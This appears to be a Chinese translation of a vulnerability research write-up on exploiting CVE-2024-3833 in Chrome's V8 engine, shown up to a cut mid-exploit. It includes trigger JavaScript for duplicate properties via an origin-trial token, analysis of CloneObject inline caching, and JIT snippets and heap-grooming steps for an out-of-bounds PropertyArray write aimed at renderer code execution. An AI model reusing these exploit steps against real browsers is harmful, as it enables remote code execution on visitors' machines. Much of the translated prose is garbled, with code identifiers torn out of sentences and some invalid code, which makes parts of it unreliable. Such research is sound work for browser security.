在这篇文章中,我将利用 Chrome 的 Javascript 引擎 v8 中的一个对象损坏漏洞 CVE-2024-3833,该漏洞允许通过一次访问恶意网站在 Chrome 的渲染器沙箱中执行远程代码执行 (RCE)。
在这篇文章中,我将利用 CVE-2024-3833,这是 Chrome 的 JavaScript 引擎 v8 中的一个对象损坏漏洞,我于 2024 年 3 月将其报告为
漏洞 331383939。
还报告了一个类似的漏洞
331358160
,其编号为 CVE-2024-3832。这两个漏洞均已在版本
124.0.6367.60/.61
中修复。CVE-2024-3833 允许通过一次访问恶意网站在 Chrome 的渲染器沙箱中进行 RCE。
Chrome 中的 Origin 试用
Chrome 中的新功能有时会在正式发布之前以来源试用版的
形式推出
。当某项功能以来源试用版的形式提供时,网络开发者可以向 Chrome 注册他们的来源,这样他们就可以在注册的来源上使用该功能。这样,网络开发者就可以在他们的网站上测试新功能并向 Chrome 提供反馈,同时保持该功能在未请求使用它们的网站上处于禁用状态。来源试用版的有效期有限,任何人都可以注册他们的来源以使用
有效试用列表
中的功能。通过注册来源,开发者将获得一个来源试用令牌,他们可以通过添加元标记将其包含在他们的网站中
:
老漏洞
通常,原始试用功能在运行任何用户 Javascript 之前启用。然而,情况并非总是如此。网页可以随时以编程方式创建包含试用令牌的元标记,并且 Javascript 可以在创建标记之前执行。在某些情况下,负责启用特定原始试用功能的代码会错误地认为在此之前没有运行任何用户 Javascript,这可能会导致安全问题。
其中一个例子是
CVE-2021-30561
,由
Google Project Zero
的 Sergei Glazunov 报告。在这种情况下,
当检测到原始试用令牌时,
WebAssembly 异常处理
功能会
Exception
在 Javascript 对象中创建一个属性。
WebAssembly
let exception = WebAssembly.Exception; //
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //
...
exception = WebAssembly.Exception; //
具体来说,创建属性的代码
Exception
使用内部函数来创建属性,该函数假定该
Exception
属性不存在于
WebAssembly
对象中。如果用户
Exception
在激活试用之前创建了该属性,则 Chrome 会尝试
Exception
在 中创建另一个属性
WebAssembly
。这可能会在 中产生两个具有不同值的重复
Exception
属性
WebAssembly
。然后可以利用这一点在
Exception
属性中引起类型混淆,然后可以利用它来获得 RCE。
WebAssembly.Exception = 1.1;
...
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //
...
CVE-2021-30561 的实际情况更为复杂,因为启用 WebAssembly 异常处理功能的代码会进行检查以确保对象
WebAssembly
不包含名为 的属性
Exception
。然而,那里使用的检查是不够的,CVE-2021-30561 通过使用 Javascript
Proxy
对象绕过了该检查。有关此绕过和利用如何工作的详细信息,我将建议读者查看
原始错误单
,其中包含所有详细信息。
另一天,另一次绕道
Javascript Promise Integration
是一项 WebAssembly 功能,目前处于原始试用阶段(直到 2024 年 10 月 29 日)。与 WebAssembly 异常处理功能类似,它
WebAssembly
通过调用以下方法在检测到原始试用令牌时定义对象的属性
InstallConditionalFeatures
:
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
...
// Install JSPI-related features.
if (isolate->IsWasmJSPIEnabled(context)) {
Handle suspender_string = v8_str(isolate, "Suspender");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, suspender_string) //
.FromMaybe(true)) {
InstallSuspenderConstructor(isolate, context);
}
// Install Wasm type reflection features (if not already done).
Handle function_string = v8_str(isolate, "Function");
if (!JSObject::HasRealNamedProperty(isolate, webassembly, function_string) //
.FromMaybe(true)) {
InstallTypeReflection(isolate, context);
}
}
}
当添加 Javascript Promise Integration (JSPI) 时,上面的代码会检查是否
webassembly
已经具有属性
Suspender
和
Function
(上面的 1. 和 2.),如果没有,它将分别使用
InstallSuspenderConstructor
和创建这些属性
InstallTypeReflection
。该函数
InstallSuspenderConstructor
用于
在对象上
InstallConstructorFunc
创建属性
:
Suspender
WebAssembly
void
WasmJs::InstallSuspenderConstructor(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate); //
Handle suspender_constructor = InstallConstructorFunc(
isolate, webassembly, "Suspender", WebAssemblySuspender);
...
}
问题在于,在 中
InstallSuspenderConstructor
,
WebAssembly
对象来自
(上面的 3.)
wasm_webassembly_object
的属性,而
签入的对象
来自
全局对象的属性(与全局变量相同
):
context
WebAssembly
InstallConditionalFeatures
WebAssembly
WebAssembly
void WasmJs::InstallConditionalFeatures(Isolate* isolate,
Handle context) {
Handle global = handle(context->global_object(), isolate);
// If some fuzzer decided to make the global object non-extensible, then
// we can't install any features (and would CHECK-fail if we tried).
if (!global->map()->is_extensible()) return;
MaybeHandle maybe_wasm =
JSReceiver::GetProperty(isolate, global, "WebAssembly");
可以使用 Javascript 将全局 WebAssembly 变量更改为任何用户定义的对象:
WebAssembly = {}; //
虽然这会改变 的值
WebAssembly
,但
wasm_webassembly_object
中的缓存
context
不会受到影响。因此,可以先
Suspender
在对象上定义一个属性
WebAssembly
,然后将
WebAssembly
变量设置为不同的对象,然后激活原始试验以
在原始对象中
Javascript Promise Integration
创建副本
:
Suspender
WebAssembly
WebAssembly.Suspender = {};
delete WebAssembly.Suspender;
WebAssembly.Suspender = 1;
//stores the original WebAssembly object in oldWebAssembly
var oldWebAssembly = WebAssembly;
var newWebAssembly = {};
WebAssembly = newWebAssembly;
//Activate trial
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //
%DebugPrint(oldWebAssembly);
触发原始试验后,
InstallConditionalFeatures
首先检查全局变量
Suspender
中是否存在该属性
WebAssembly
(见
newWebAssembly
上文)。然后继续
Suspender
在中创建该属性
context->wasm_webassembly_object
(见
oldWebAssembly
上文)。这样做会
Suspender
在中创建一个重复的属性
oldWebAssembly
,就像 CVE-2021-30561 中发生的情况一样。
DebugPrint: 0x2d5b00327519: [JS_OBJECT_TYPE] in OldSpace
- map: 0x2d5b00387061 [DictionaryProperties]
- prototype: 0x2d5b003043e9
- elements: 0x2d5b000006f5 [HOLEY_ELEMENTS]
- properties: 0x2d5b0034a8fd
- All own properties (excluding elements): {
...
Suspender: 0x2d5b0039422d (data, dict_index: 20, attrs: [W_C])
...
Suspender: 1 (data, dict_index: 19, attrs: [WEC])
这会导致
oldWebAssembly
2 个
Suspender
属性存储在不同的偏移量。我将此问题报告为
331358160
,并被分配了 CVE-2024-3832。
该函数
InstallTypeReflection
存在类似的问题,但还有一些额外的问题:
void
WasmJs::InstallTypeReflection(Isolate* isolate,
Handle context) {
Handle webassembly(context->wasm_webassembly_object(), isolate);
#define INSTANCE_PROTO_HANDLE(Name) \
handle(JSObject::cast(context->Name()->instance_prototype()), isolate)
...
InstallFunc(isolate, INSTANCE_PROTO_HANDLE(wasm_tag_constructor), "type", //
WebAssemblyTableType, 0, false, NONE,
SideEffectType::kHasNoSideEffect);
...
#undef INSTANCE_PROTO_HANDLE
}
该函数
InstallTypeReflection
还在其他各种对象中定义
type
属性。例如,在 1. 中,在
的对象
type
中创建属性
,而不检查该属性是否已存在:
prototype
wasm_tag_constructor
var x = WebAssembly.Tag.prototype;
x.type = {};
meta = document.createElement('meta');
meta.httpEquiv = 'Origin-Trial';
meta.content = token;
document.head.appendChild(meta); //
这样就可以
type
在 上创建重复的属性
WebAssembly.Tag.prototype
。此问题报告为
331383939
,并被分配了 CVE-2024-3833。
新的漏洞利用
CVE-2021-30561 的漏洞利用依赖于创建“快速对象”的重复属性。在 v8 中,快速对象将其属性存储在数组中(某些属性也存储在对象本身内)。但是,此后发布了一个
强化补丁
,该补丁在向快速对象添加属性时会检查重复项。因此,不再可能创建具有重复属性的快速对象。
但是,仍然可以利用该漏洞在“字典对象”中创建重复属性。在 v8 中,属性字典实现为
NameDictionary
。 的底层存储
NameDictionary
实现为一个数组,每个元素都是形式为 的元组
(Key, Value, Attribute)
,其中
Key
是属性的名称。向 添加属性时
NameDictionary
,数组中的下一个空闲条目用于存储这个新元组。利用此漏洞,可以使用重复的 来在属性字典中创建不同的条目。在
CVE-2023-2935
Key
的报告中
,Sergei Glazunov 展示了如何使用字典对象利用重复属性原语。但是,这依赖于能够将重复属性创建为属性
,这是 v8 中的一种特殊属性,通常为内置对象保留。同样,在当前情况下这是不可能的。所以,我需要找到一种新的方法来利用这个问题。
AccessorInfo
这个想法是寻找一些内部函数或优化,这些函数或优化将遍历对象的所有属性,但不希望属性重复。我想到的一个这样的优化是对象克隆。
克隆人的进攻
当使用扩展语法
复制对象时
,将创建原始对象的浅表副本:
const clonedObj = { ...obj1 };
在 v8 中,这被实现为 CloneObject 字节码:
0x39b300042178 @ 0 : 80 00 00 29 CreateObjectLiteral [0], [0], #41
...
0x39b300042187 @ 15 : 82 f7 29 05 CloneObject r2, #41, [5]
首次运行包含字节码的函数时,会生成
内联缓存
代码,并用于在后续调用中处理字节码。在处理字节码时,内联缓存代码还将收集有关输入对象的信息(
obj1
),并为相同类型的输入生成优化的内联缓存处理程序。首次运行内联缓存代码时,没有有关先前输入对象的信息,也没有可用的缓存处理程序。因此,会检测到内联缓存未命中,并
CloneObjectIC_Miss
用于处理字节码。为了了解
CloneObject
内联缓存的工作原理及其与漏洞利用的关系,我将回顾 v8 中对象类型和属性的一些基础知识。v8 中的 Javascript 对象存储一个
map
指定对象类型的字段,特别是它指定属性在对象中的存储方式:
x = { a : 1};
x.b = 1;
%DebugPrint(x);
的输出
%DebugPrint
如下:
DebugPrint: 0x1c870020b10d: [JS_OBJECT_TYPE]
- map: 0x1c870011afb1 [FastProperties]
...
- properties: 0x1c870020b161
- All own properties (excluding elements): {
0x1c8700002ac1: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x1c8700002ad1: [String] in ReadOnlySpace: #b: 1 (const data field 1), location
: properties[0]
}
我们看到
x
有两个属性——一个存储在对象中(
a
),另一个存储在 a 中
PropertyArray
。请注意 的长度为
PropertyArray
(
3
)
PropertyArray[3]
,而 中只存储一个属性
PropertyArray
。
length
a 的
PropertyArray
类似于 C++ 中 a 的容量。容量稍大一些可以避免
每次向对象添加新属性时都
std::vector
必须扩展和重新分配。
PropertyArray
对象的
map
使用字段
inobject_properties
和
unused_property_fields
来指示对象中存储了多少个属性以及 中剩余多少空间
PropertyArray
。在本例中,我们有
2
可用空间(
3 (PropertyArray length) - 1 (property in the array) = 2
)。
0x1c870011afb1: [Map] in OldSpace
- map: 0x1c8700103c35 (0x1c8700103c85 )>
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- unused property fields: 2
...
当发生缓存未命中时,首先尝试
通过检查
对象
CloneObjectIC_Miss
的来确定克隆的结果(
target
)是否可以使用与原始对象()相同的映射
(
如下文中的 1.):
source
map
source
GetCloneModeForMap
RUNTIME_FUNCTION(Runtime_CloneObjectIC_Miss) {
HandleScope scope(isolate);
DCHECK_EQ(4, args.length());
Handle source = args.at(0);
int flags = args.smi_value_at(1);
if (!MigrateDeprecated(isolate, source)) {
...
FastCloneObjectMode clone_mode =
GetCloneModeForMap(source_map, flags, isolate); //
switch (clone_mode) {
case FastCloneObjectMode::kIdenticalMap: {
...
}
case FastCloneObjectMode::kEmptyObject: {
...
}
case FastCloneObjectMode::kDifferentMap: {
...
}
...
}
...
}
...
}
与我们相关的案例是
FastCloneObjectMode::kDifferentMap
模式。
case FastCloneObjectMode::kDifferentMap: {
Handle res;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, res, CloneObjectSlowPath(isolate, source, flags)); //
Handle result_map(Handle::cast(res)->map(),
isolate);
if (CanFastCloneObjectWithDifferentMaps(source_map, result_map,
isolate)) {
...
nexus.ConfigureCloneObject(source_map, //
MaybeObjectHandle(result_map));
...
在此模式下,
source
首先通过慢速路径(上文中的 1.)对对象进行浅拷贝。然后将内联缓存的处理程序编码为一对映射,分别由
source
和
target
对象的映射组成(上文中的 2.)。
从现在开始,如果要
source_map
克隆另一个具有的对象,则
使用
内联缓存处理程序
source
来克隆该对象。本质上,对象的复制方式如下:
-
复制
该
source
对象的 PropertyArray:
TNode source_property_array = CAST(source_properties);
TNode length = LoadPropertyArrayLength(source_property_array);
GotoIf(IntPtrEqual(length, IntPtrConstant(0)), &allocate_object);
TNode property_array = AllocatePropertyArray(length);
FillPropertyArrayWithUndefined(property_array, IntPtrConstant(0), length);
CopyPropertyArrayValues(source_property_array, property_array, length,
SKIP_WRITE_BARRIER, DestroySource::kNo);
var_properties = property_array;
-
分配目标对象
并用作
result_map
其映射。
TNode object = UncheckedCast(AllocateJSObjectFromMap(
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties));
-
将对象内的属性
从复制
source
到
target
。
BuildFastLoop(
result_start, result_size,
[=](TNode field_index) {
...
StoreObjectFieldNoWriteBarrier(object, result_offset, field);
},
1, LoopUnrollingMode::kYes, IndexAdvanceMode::kPost);
如果我尝试克隆具有重复属性的对象会发生什么?首次运行代码时,
CloneObjectSlowPath
会调用 来分配
target
对象,然后将每个属性从 复制
source
到
target
。但是, 中的代码
CloneObjectSlowPath
可以正确处理重复属性,因此当遇到 中的重复属性时
source
,不会在 中创建重复属性
target
,而是覆盖现有属性。例如,如果我的
source
对象具有以下布局:
DebugPrint: 0x38ea0031b5ad: [JS_OBJECT_TYPE] in OldSpace
- map: 0x38ea00397745 [FastProperties]
...
- properties: 0x38ea00355e85
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171 (const data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (const data field 7), location: properties[3]
其
PropertyArray
长度为 ,
其中 的最后一个属性
4
为
。
克隆此对象的结果将覆盖第一个
属性:
type
PropertyArray
target
type
DebugPrint: 0x38ea00355ee1: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea00356001
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea00397499 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (const data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (const data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (const data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (const data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (const data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (const data field 6), location: properties[2]
请注意,
target
具有和
PropertyArray
的
length
3
三个属性
PropertyArray
(属性
#a4..#a6
,
location
在中有)。特别是,对象
中
properties
没有
:
unused_property_fields
target
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
虽然这看起来像是一个挫折,因为重复的属性不会传播到对象
target
,但真正的魔力发生在内联缓存处理程序接管时。请记住,当使用内联缓存处理程序克隆时,生成的对象
map
与
target
中的对象相同
CloneObjectSlowPath
,而 是
对象的
PropertyArray
的副本
。这意味着来自内联缓存处理程序的克隆
具有以下属性布局:
PropertyArray
source
target
DebugPrint: 0x38ea003565c9: [JS_OBJECT_TYPE]
- map: 0x38ea003978b9 [FastProperties]
...
- properties: 0x38ea003565b1
- All own properties (excluding elements): {
0x38ea00004045: [String] in ReadOnlySpace: #type: 0x38ea0034b171 (data field 0), location: in-object
0x38ea0038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
0x38ea0038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
0x38ea0038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
0x38ea003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
0x38ea003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
0x38ea003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
请注意,它有一个
PropertyArray
,
length
4
但数组中只有三个属性,剩下一个未使用的属性。但是,它与
( )
map
使用的相同
,后者没有
:
CloneObjectSlowPath
0x38ea003978b9
unused_property_fields
0x38ea003978b9: [Map] in OldSpace
- map: 0x38ea003034b1 (0x38ea00303501 )>
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 0
unused_property_fields
因此,我得到的不是具有重复属性的对象,而是具有不一致的和 的
对象
PropertyArray
。现在,如果我向此对象添加新属性,
map
则会创建一个新的 来反映对象的新属性布局。这个新的
map
具有
unused_property_fields
基于旧的 的
map
,它是在 中计算的
AccountAddedPropertyField
。本质上,如果旧的
unused_property_fields
为正,则这会将 减
unused_property_fields
一以解释正在添加的新属性。如果旧的
unused_property_fields
为零,则将新的
unused_property_fields
设置为二,以解释
PropertyArray
已满且必须
扩展 的
事实。
另一方面,延长的决定
PropertyArray
是基于其
length
而不是
unused_property_fields
的
map
:
void MigrateFastToFast(Isolate* isolate, Handle object,
Handle new_map) {
...
// Check if we still have space in the {object}, in which case we
// can also simply set the map (modulo a special case for mutable
// double boxes).
FieldIndex index = FieldIndex::ForDetails(*new_map, details);
if (index.is_inobject() || index.outobject_array_index() property_array(isolate)->length()) {
...
object->set_map(*new_map, kReleaseStore);
return;
}
// This migration is a transition from a map that has run out of property
// space. Extend the backing store.
int grow_by = new_map->UnusedPropertyFields() + 1;
...
因此,如果我有一个对象,
unused_property_fields
其 中有一个空格,但 中有一个空格
PropertyArray
(即
length = existing_property_number + 1
),那么
PropertyArray
当我添加新属性时 不会扩展。因此,添加新属性后, 将
PropertyArray
是满的。但是,如前所述,
unused_property_fields
会独立更新,并且会设置为 2,就像 扩展
PropertyArray
了 一样:
DebugPrint: 0x2575003565c9: [JS_OBJECT_TYPE]
- map: 0x257500397749 [FastProperties]
...
- properties: 0x2575003565b1
- All own properties (excluding elements): {
0x257500004045: [String] in ReadOnlySpace: #type: 0x25750034b171 (data field 0), location: in-object
0x25750038257d: [String] in OldSpace: #a1: 1 (data field 1), location: in-object
0x25750038258d: [String] in OldSpace: #a2: 1 (data field 2), location: in-object
0x25750038259d: [String] in OldSpace: #a3: 1 (data field 3), location: in-object
0x2575003825ad: [String] in OldSpace: #a4: 1 (data field 4), location: properties[0]
0x2575003825bd: [String] in OldSpace: #a5: 1 (data field 5), location: properties[1]
0x2575003825cd: [String] in OldSpace: #a6: 1 (data field 6), location: properties[2]
0x257500002c31: [String] in ReadOnlySpace: #x: 1 (const data field 7), location: properties[3]
}
0x257500397749: [Map] in OldSpace
- map: 0x2575003034b1
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- unused property fields: 2
这很重要,因为 v8 的 JIT 编译器 TurboFan 使用来
unused_property_fields
决定是否
PropertyArray
需要
扩展
:
JSNativeContextSpecialization::BuildPropertyStore(
Node* receiver, Node* value, Node* context, Node* frame_state, Node* effect,
Node* control, NameRef name, ZoneVector* if_exceptions,
PropertyAccessInfo const& access_info, AccessMode access_mode) {
...
if (transition_map.has_value()) {
// Check if we need to grow the properties backing store
// with this transitioning store.
...
if (original_map.UnusedPropertyFields() == 0) {
DCHECK(!field_index.is_inobject());
// Reallocate the properties {storage}.
storage = effect = BuildExtendPropertiesBackingStore(
original_map, storage, effect, control);
unused_property_fields
因此,通过向具有两个和一个完整的JIT
的对象添加新属性
PropertyArray
,我将能够写入
PropertyArray
越界 (OOB) 并覆盖其后分配的所有内容。
创建具有重复属性的快速对象
为了触发 OOB 写入
PropertyArray
,我首先需要创建一个具有重复属性的快速对象。如前所述,
强化补丁
在向快速对象添加属性时引入了对重复项的检查,因此我无法直接创建具有重复属性的快速对象。解决方案是首先利用该漏洞创建一个具有重复属性的字典对象,然后将该对象更改为快速对象。为此,我将使用 来
WebAssembly.Tag.prototype
触发该漏洞:
var x = WebAssembly.Tag.prototype;
x.type = {};
//delete properties results in dictionary object
delete x.constructor;
//Trigger bug to create duplicated type property
...
一旦我得到了一个具有重复属性的字典对象,我就可以使用 将其更改为快速对象
MakePrototypesFast
,这可以通过
属性访问
触发:
var y = {};
//setting x to the prototype of y
var y.__proto__ = x;
//Property access of `y` calls MakePrototypeFast on x
y.a = 1;
z = y.a;
通过使
x
成为对象的原型
y
,然后访问 的属性
y
,
MakePrototypesFast
被称为 变为
x
具有重复属性的快速对象。此后,我可以克隆
x
以触发 中的 OOB 写入
PropertyArray
。
利用 PropertyArray 中的 OOB 写入
要利用 中的 OOB 写入
PropertyArray
,我们首先检查并查看 之后分配了什么
PropertyArray
。回想一下 是
PropertyArray
在内联缓存处理程序中分配的。从
处理程序代码
中,我可以看到 是在
对象分配
PropertyArray
之前分配的:
target
void AccessorAssembler::GenerateCloneObjectIC() {
...
TNode property_array = AllocatePropertyArray(length); //
...
var_properties = property_array;
}
Goto(&allocate_object);
BIND(&allocate_object);
...
TNode object = UncheckedCast(AllocateJSObjectFromMap( //
result_map.value(), var_properties.value(), var_elements.value(),
AllocationFlag::kNone,
SlackTrackingMode::kDontInitializeInObjectProperties));
由于 v8 线性分配对象,因此 OOB 写入允许我更改对象的内部字段。为了利用此漏洞,我将覆盖
对象
target
的第二个字段,即存储
对象
地址的字段
。这涉及创建 JIT 函数以向对象添加两个属性
。
target
properties
PropertyArray
target
target
a8 = {c : 1};
...
function transition_store(x) {
x.a7 = 0x100;
}
function transition_store2(x) {
x.a8 = a8;
}
... //JIT optimize transition_store and transition_store2
transition_store(obj);
//Causes the object a8 to be interpreted as PropertyArray of obj
transition_store2(obj);
当将属性存储到
具有不一致
和的
a8
损坏对象时
,对的 OOB 写入
将
用 Javascript 对象
覆盖
。然后可以通过仔细排列 v8 堆中的对象来利用这一点。由于对象在 v8 堆中线性分配,因此可以通过按顺序分配对象来轻松排列堆。例如,在以下代码中:
obj
PropertyArray
unused_property_fields
PropertyArray
PropertyArray
obj
a8
var a8 = {c : 1};
var a7 = [1,2];
对象周围的 v8 堆
a8
如下所示:
左侧显示对象
a8
和
a7
。字段
map
、
properties,
和
elements
是与 Javascript 对象相对应的 C++ 对象中的内部字段。右侧表示将内存视为的视图
PropertyArray
(
obj
当的设置为的地址时
PropertyArray
)
obj
。A
a8
有
PropertyArray
两个内部字段
map
和
length
。当对象
a8
与的类型混淆时,
PropertyArray
其
properties
字段(即其的地址
PropertyArray
)被解释为
的
length
的的
。由于地址通常是一个大数字,因此这允许进一步对的进行 OOB 读取和
写入
。
PropertyArray
obj
PropertyArray
obj
ai+3
中
的属性
PropertyArray
将与
length
的字段对齐
Array
a7
。通过写入此属性,可以覆盖
length
的
Array
a7
。这使我能够在 Javascript 数组中实现 OOB 写入,这可以以
标准方式
利用。但是,为了覆盖 字段
length
,我必须不断添加属性,
obj
直到到达
length
字段。不幸的是,这意味着我还将覆盖
map
、
properties
和
elements
字段,这将破坏
Array
a7
。
为了避免覆盖 的内部字段
a7
,我将改为创建 ,
a7
以便其
PropertyArray
在它之前分配。这可以通过
a7
使用克隆创建来实现: